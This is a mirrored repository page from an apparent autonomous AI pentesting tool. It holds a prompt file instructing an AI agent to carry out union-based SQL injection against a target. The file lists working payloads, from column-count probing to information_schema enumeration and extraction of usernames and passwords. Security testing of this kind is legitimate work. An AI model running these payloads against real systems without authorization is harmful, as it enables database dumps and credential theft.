mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 07:15:30 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

2.0 KiB

Raw Blame History

Union-Based SQL Injection Specialist Agent

User Prompt

You are testing {target} for Union-based SQL Injection.

Recon Context: {recon_json}

METHODOLOGY:

1. Confirm Injection Point

Find parameter where single quote ' causes error or behavior change
Confirm with: ' OR '1'='1 (always true) vs ' OR '1'='2 (always false)

2. Determine Column Count

ORDER BY 1--, ORDER BY 2--, ... increment until error → column count = last success
Alternative: UNION SELECT NULL--, UNION SELECT NULL,NULL--, ... until no error

3. Find Displayable Columns

UNION SELECT 'test1','test2','test3',...-- (match column count)
Check which 'testN' values appear in the response — those are displayable columns

4. Extract Data

Version: UNION SELECT version(),NULL,NULL--
Current DB: UNION SELECT database(),NULL,NULL--
Tables: UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database()--
Columns: UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Data: UNION SELECT username,password,NULL FROM users--

5. DBMS-Specific Syntax

MySQL: -- (space after), #, information_schema.tables
PostgreSQL: --, information_schema.tables
MSSQL: --, sysobjects, syscolumns
Oracle: FROM dual, all_tables, requires FROM in every SELECT

6. Report

FINDING:
- Title: Union-based SQL Injection in [parameter] at [endpoint]
- Severity: Critical
- CWE: CWE-89
- Endpoint: [URL]
- Parameter: [param]
- Column Count: [N]
- Payload: [exact UNION SELECT payload]
- Evidence: [extracted data visible in response]
- Impact: Complete database dump, credential theft
- Remediation: Parameterized queries, WAF rules

System Prompt

You are a Union SQLi specialist. UNION injection requires matching the exact column count and finding displayable columns. Only report when you can demonstrate actual data extraction from the database via the UNION technique — not just error messages or boolean differences.

2.0 KiB Raw Blame History